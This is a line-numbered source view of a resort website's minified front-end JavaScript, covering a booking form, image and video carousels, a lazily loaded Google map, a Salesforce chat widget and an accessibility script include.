Litepicker({element:document.getElementById("bookCheckOut"),singleMode:!0,format:"MM/DD/YYYY",minDate:new Date(n.getFullYear(),n.getMonth(),n.getDate()+1),firstDay:0,plugins:["keyboardnav"],keyboardnav:{firstTabIndex:0},setup:n=>{n.on("render",n=>{const t=n.querySelector(".button-previous-month"),i=n.querySelector(".button-next-month");t&&t.setAttribute("aria-label","Previous Month");i&&i.setAttribute("aria-label","Next Month")});n.on("selected",()=>{t.addClass("has-value")});n.on("hide",()=>{try{let r=n.triggerElement,u=r.parentNode,t=i(u);t.setAttribute("tabindex",-1);setTimeout(()=>{t.focus()},300)}catch(t){console.log(t)}})}})}).script("/js/vendors/site/input-spinner-v2.js").wait(function(){function t(){$(".field-promo").slide
5065Up();$(".field-room").slideUp();$(".field-children").slideUp();$("#bookPromo").attr("readonly",!0);$("#isSearch").attr("readonly",!0);$("#clusterCode").attr("readonly",!0);$("#numberOfRooms").attr("readonly",!0);$("#bookChildren").attr("readonly",!0);$("#bookAdults").attr("data-max","10");$(".mobile-book-notice").removeClass("active");var n=$("#bookAdults").attr("data-max");try{$("#guestsSpinner").spinner("updateMax",n).spinner("changing",function(){})}catch(t){}}function n(n){if(n){let t=$('[data-promo="'+n+'"]');$(".book-promo-slide").fadeOut().promise().done(function(){$(".book-promo-slide").find("a").attr("tabindex",-1);t.fadeIn();t.find("a").attr("tabindex",0)})}}function i(){let i=location.pathname;if(i.includes("westin-hapuna-beach-resort"))$("#staySelect").val("KOAWI").trigger("change");else if(i.includes("mauna-kea-residences"))$("#staySelect").val("residences").trigger("change");else{let i=$("#staySelect").val(),r=$("#staySelect").find("option:selected").index();i=="residences"&&t();n(i)}}function r(){let r=location.pathname.toLowerCase()=="/wifi";if(r){let i=$("#book-tab-2"),u=$("#book-tabpanel-2");$(".book-tab").not(i).attr("aria-selected",!1);i.attr("aria-selected",!0);$('.book-tabs-wrap [role="tabpanel"]').hide();u.show();let t=$(".dine-scripts .ot-restaurant-picker select").val();t==0&&(t="40177");n(t)}}$("#staySelect").off("input").on("input",function(){var i=$(this),r=i.val();let f=i.find("option:selected").index(),u=$(".mobile-book-notice");setTimeout(function(){if(n(r),r=="residences")t();else{$(".field-promo").slideDown();$(".field-room").slideDown();$(".field-children").slideDown();$("#bookPromo").removeAttr("readonly");$("#isSearch").removeAttr("readonly");$("#clusterCode").removeAttr("readonly");$("#numberOfRooms").removeAttr("readonly",!0);$("#bookChildren").removeAttr("readonly",!0);$("#bookAdults").attr("data-max","4");r=="KOAAK"?u.addClass("active"):u.removeClass("active");var f=$("#bookAdults").attr("data-max");try{$("#guestsSpinner").spinner("updateMax",f).spinner("changing",function(){})}catch(e){}}i.blur()},300)});$("body").off("input").on("input",".dine-scripts .ot-restaurant-picker select",function(){const i=$(this);let t=i.val();t==0&&(t="40177");setTimeout(()=>{n(t),i.blur()},300)});$(".book-tab").off("click").on("click",function(){const i=$(this),u=i.attr("aria-controls"),r=$(`#${u}`);let f=i.data("tab"),t;$(".book-tab").not(i).attr("aria-selected",!1);i.attr("aria-selected",!0);$('.book-tabs-content [role="tabpanel"]').not(r).fadeOut();r.fadeIn();f=="dine"?(t=$(".ot-restaurant-picker select").val(),t==0&&(t="40177")):t=$("#staySelect").val();n(t)});try{$("#guestsSpinner, #roomSpinner, #childrenSpinner").spinner("changing",function(){})}catch(u){}setTimeout(function(){r();i()},1500)}),function(){function i(){n.hasClass("slick-initialized")&&n.slick("unslick");n.off("init").on("init",function(){let i=n.find('[data-slick-index="0"]');i.hasClass("has-video")&&t[0].addEventListener("ended",function(){n.slick("slickNext")});setTimeout(function(){objectFitPolyfill();n.removeClass("loading")},250)});n.off("beforeChange").on("beforeChange",function(i,r,u,f){objectFitPolyfill();let o=n.find("[data-slick-index="+u+"].hero-slide"),e=n.find("[data-slick-index="+f+"].hero-slide");o.hasClass("has-video")&&t[u].pause();e.hasClass("has-video")?(n.slick("slickPause"),t[f].play(),t[f].addEventListener("ended",function(){n.slick("slickNext")})):n.slick("slickPlay");e.find("figcaption").addClass("loading")});n.on("afterChange",function(t,i,r){setTimeout(function(){let t=n.find("[data-slick-index="+r+"]");t.find("figcaption").removeClass("loading")},500)});n.slick(u)}let t={};const n=$(".hero"),r=n.find(".has-video");r.each(function(){function s(){f=setInterval(function(){let t=n.currentTime/n.duration*100;o.css("width",t+"%")})}function h(){clearInterval(f)}function c(){n.pause();i.removeClass("icon-pause-1");i.attr("aria-label","play video");i.addClass("icon-play-1")}function l(){n.play();i.removeClass("icon-play-1");i.attr("aria-label","pause video");i.addClass("icon-pause-1")}function a(){s();l()}function v(){h();c()}const r=$(this),e=r.index();let n=r.find("video")[0],u=r.find(".hvideo-ctrl"),i=u.children("i"),o=r.find(".progress-bar-fill"),f;t[e]=n;n.addEventListener("play",a);n.addEventListener("pause",v);u.on("click",function(){n.paused?n.play():n.pause()})});const u={lazyLoad:"ondemand",lazyLoadBuffer:0,speed:500,fade:!0,cssEase:"linear",appendArrows:$(".hero-nav"),autoplay:!1,autoplaySpeed:7e3,pauseOnHover:!1,draggable:!1,pauseOnFocus:!1,responsive:[{breakpoint:1025,settings:{draggable:!0}},]};let f=document.querySelector(".hero"),e=new IntersectionObserver(function(n){if(n[0].isIntersecting){if($(".hero").find(".slick-current").hasClass("has-video")){let n=$(".hero").find(".slick-current").data("slick-index");t[n].play()}}else if($(".hero").find(".slick-current").hasClass("has-video")){let n=$(".hero").find(".slick-current").data("slick-index");t[n].pause()}},{rootMargin:"0px 0px 50px 0px",threshold:0});e.observe(f);i();$(window).on("init-hero-tour",i)}();$LAB.script("/js/vendors/site/swiper.min.js").wait(function(){function n(){let n=.5;const t=new Swiper(".dj-slider-prev",{touchRatio:0,loop:!0,speed:1e3,slidesPerView:"auto",preloadImages:!1,lazy:{loadPrevNext:!0,loadPrevNextAmount:2},watchSlidesProgress:!0,watchSlidesVisibility:!0,touchEventsTarget:"wrapper",keyboard:{enabled:!0},on:{init:function(){let n=this,t=document.querySelector(".dj-slider-main"),i=t.querySelectorAll(".swiper-slide");
5065i.forEach(function(n){let i=n.querySelector("h3"),t=i.cloneNode(!0);t.setAttribute("aria-hidden",!0);n.querySelector(".dj-slider-media").append(t)});$(window).on("resize",function(){setTimeout(function(){n.update()},500)})},lazyImageReady:function(){let n=this;setTimeout(function(){n.update();n.el.classList.remove("loading")},500)},progress:function(){let t=this;for(let i=0;i<t.slides.length;i++){let r=t.slides[i].progress,u=t.width*n,f=r*u;t.slides[i].querySelector(".dj-slider-media").style.transform="translateX("+f+"px)"}},touchStart:function(){let n=this;for(let t=0;t<n.slides.length;t++)n.slides[t].style.transition=""},setTransition:function(n){let t=this;for(let i=0;i<t.slides.length;i++)t.slides[i].style.transition=n+"ms",t.slides[i].querySelector(".dj-slider-media").style.transition=n+"ms"}}}),i=new Swiper(".dj-slider-main",{loop:!0,speed:1e3,slidesPerView:"auto",preloadImages:!1,lazy:{loadPrevNext:!0,loadPrevNextAmount:2},watchSlidesProgress:!0,watchSlidesVisibility:!0,touchEventsTarget:"wrapper",navigation:{prevEl:".js-dj-slider-prev",nextEl:".js-dj-slider-next"},controller:{control:t},longSwipes:!1,keyboard:{enabled:!0},on:{init:function(){let n=this},lazyImageReady:function(){let n=this;setTimeout(function(){n.update();n.el.classList.remove("loading")},500)},progress:function(){let t=this;for(let i=0;i<t.slides.length;i++){let r=t.slides[i].progress,u=t.width*n,f=r*u;t.slides[i].querySelector(".dj-slider-media").style.transform="translateX("+f+"px)"}},touchStart:function(){let n=this;for(let t=0;t<n.slides.length;t++)n.slides[t].style.transition=""},setTransition:function(n){let t=this;for(let i=0;i<t.slides.length;i++)t.slides[i].style.transition=n+"ms",t.slides[i].querySelector(".dj-slider-media").style.transition=n+"ms"}}})}loadSlider(".dj-sliders-wrap",n)}),function(){function n(){const t=$(".js-exp-slider-nav");t.slick({lazyLoad:"ondemand",arrows:!1,asNavFor:".js-exp-slider",focusOnSelect:!0,variableWidth:!0,responsive:[{breakpoint:768,settings:{centerMode:!0}},]});const n=$(".js-exp-slider");n.on("init",function(){setTimeout(function(){n.slick("setPosition");n.removeClass("loading")},500)});n.slick({fade:!0,asNavFor:".js-exp-slider-nav",responsive:[{breakpoint:768,settings:{arrows:!0}},]})}loadSlider(".experience",n)}(),function(){function n(){const n=$(".js-hist-slider");n.on("init",function(){setTimeout(function(){n.slick("setPosition");n.removeClass("loading")},500)});n.slick({fade:!0,lazyLoad:"progressive",prevArrow:'<button type="button" class="slick-prev has-text-arrow"><i><\/i> Previous<\/button>
5065',nextArrow:'<button type="button" class="slick-next has-text-arrow"><i><\/i> Next<\/button>',appendArrows:$(".hist-slider-nav")})}loadSlider(".hist-slider",n)}(),function(){function n(){function i(i){const r=n.find('[data-slick-index="'+i+'"]'),u=r.find("figcaption").contents().clone();$(".perc-slider-desc").empty().append(u);t(i)}function t(n){let i=n!=""?n:0;const t=$(".ps-btn").eq(i);$(".ps-btn").not(t).removeClass("active");t.addClass("active")}const n=$(".js-glance-slider");n.on("beforeChange",function(n,t,r,u){i(u)});n.on("init",function(){i(0);t(0);setTimeout(function(){n.slick("setPosition");n.removeClass("loading")},500)});n.slick({lazyLoad:"progressive",prevArrow:'<button type="button" class="slick-prev brand-arrow" aria-label="Previous"><\/button>',nextArrow:'<button type="button" class="slick-next brand-arrow" aria-label="Next"><\/button>',appendArrows:$(".perc-slider-nav")});$(".ps-btn").on("click",function(){const i=$(this).index();n.slick("slickGoTo",i);t(i)})}loadSlider(".perc-slider-wrap",n)}(),function(){function n(){const n=$(".js-offers-slider");n.on("init",function(){setTimeout(function(){n.slick("setPosition");n.removeClass("loading")},750)});n.slick({lazyLoad:"progressive",prevArrow:'<button type="button" class="slick-prev has-text-arrow"><i><\/i> Previous<\/button>
5065',nextArrow:'<button type="button" class="slick-next has-text-arrow"><i><\/i> Next<\/button>',appendArrows:$(".offers-arrows")})}loadSlider(".offers-slider-wrap",n)}(),function(){function i(n){var t=n.offset().top,r=t+n.outerHeight(),i=$(window).scrollTop(),u=i+$(window).height();return r>i&&t<u}function r(){t||(t=!0,window.$HDMLAB=(window.$HDMLAB||$LAB).script("/components/map/js/map.js?v=8").wait(function(){setTimeout(function(){const n=$("#map img");n.each(function(n,t){const i=$(t);i.attr("alt")&&i.attr("alt")!==""||i.attr("alt","Google Maps image")})},750)}).script("https://maps.googleapis.com/maps/api/js?libraries=geometry&callback=initMap&key=AIzaSyBlr_LhC7DzFL-K8qwWGwC5Cr3qT1KTO2I").wait(function(){$(document).on("map-loaded",function(){window.markerToShow&&(google.maps.event.trigger(markerToShow,"click"),setTimeout(function(){$("html, body").animate({scrollTop:n.offset().top-$(".site-header").height()},700)},2e3))})}))}var n=$(".site-map"),t=!1;if(n.length){(i(n)||location.search.indexOf("loc")>-1)&&r();$(window).on("load scroll resize",function(){i(n)&&r()})}}(),function(){const n=$(".js-reviews-slider");if(n){n.on("init",function(){setTimeout(function(){n.slick("setPosition")},500)});n.slick({appendArrows:$(".reviews-slider-wrap")})}}();$LAB.script("/js/vendors/site/jquery.magnific-popup.min.js").wait(function(){var n=$(".eclub-pop-form .js-input");n.blur(function(){tmpval=$(this).val();tmpval==""?$(this).removeClass("has-value"):$(this).addClass("has-value")});n.each(function(){$(this).val()&&$(this).addClass("has-value")})}) 5066 //end 5067 $.noConflict(); 5068 5069 if($.attachReady) 5070 $ = $.attachReady(jQuery); 5071 5072 } 5073 _hdmq.add(coreLoaded); 5074 //after core inline 5075 5076 //end 5077 5078 if (window.addEventListener) 5079 window.addEventListener("load", afterBodyLoad, false); 5080 else if (window.attachEvent) 5081 window.attachEvent("onload", afterBodyLoad); 5082 else window.onload = afterBodyLoad; 5083 }()); 5084 </script>
5084 5085 5086
5087<script type='text/javascript'> 5088 function initEmbeddedMessaging() { 5089 try { 5090 embeddedservice_bootstrap.settings.language = 'en_US'; // For example, enter 'en' or 'en-US' 5091 5092 embeddedservice_bootstrap.init( 5093 '00D6g0000036jvL', 5094 'Agentforce_Web_Service_Deployment', 5095 'https://princeresortshawaii12345.my.site.com/ESWAgentforceWebService1741097400877', 5096 { 5097 scrt2URL: 'https://princeresortshawaii12345.my.salesforce-scrt.com' 5098 } 5099 ); 5100 } catch (err) { 5101 console.error('Error loading Embedded Messaging: ', err); 5102 } 5103 }; 5104</script>
vendor: 2 bytes, line 5104
5104
5105<script type='text/javascript' src='https://princeresortshawaii12345.my.site.com/ESWAgentforceWebService1741097400877/assets/js/bootstrap.min.js' onload='initEmbeddedMessaging()'></script>
5105 5106 5107 5108
5109<script type="text/javascript"> 5110 _hdmq.add(function () { 5111 !function () { var t = function () { var t = document.createElement("script"); t.src = "https://ws.audioeye.com/ae.js", t.type = "text/javascript", t.setAttribute("async", ""), document.getElementsByTagName("body")[0].appendChild(t) }; "complete" !== document.readyState ? window.addEventListener ? window.addEventListener("load", t) : window.attachEvent && window.attachEvent("onload", t) : t() }(); 5112 }); 5113</script>
5113 5114 5115 </body> 5116</html> 5117
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.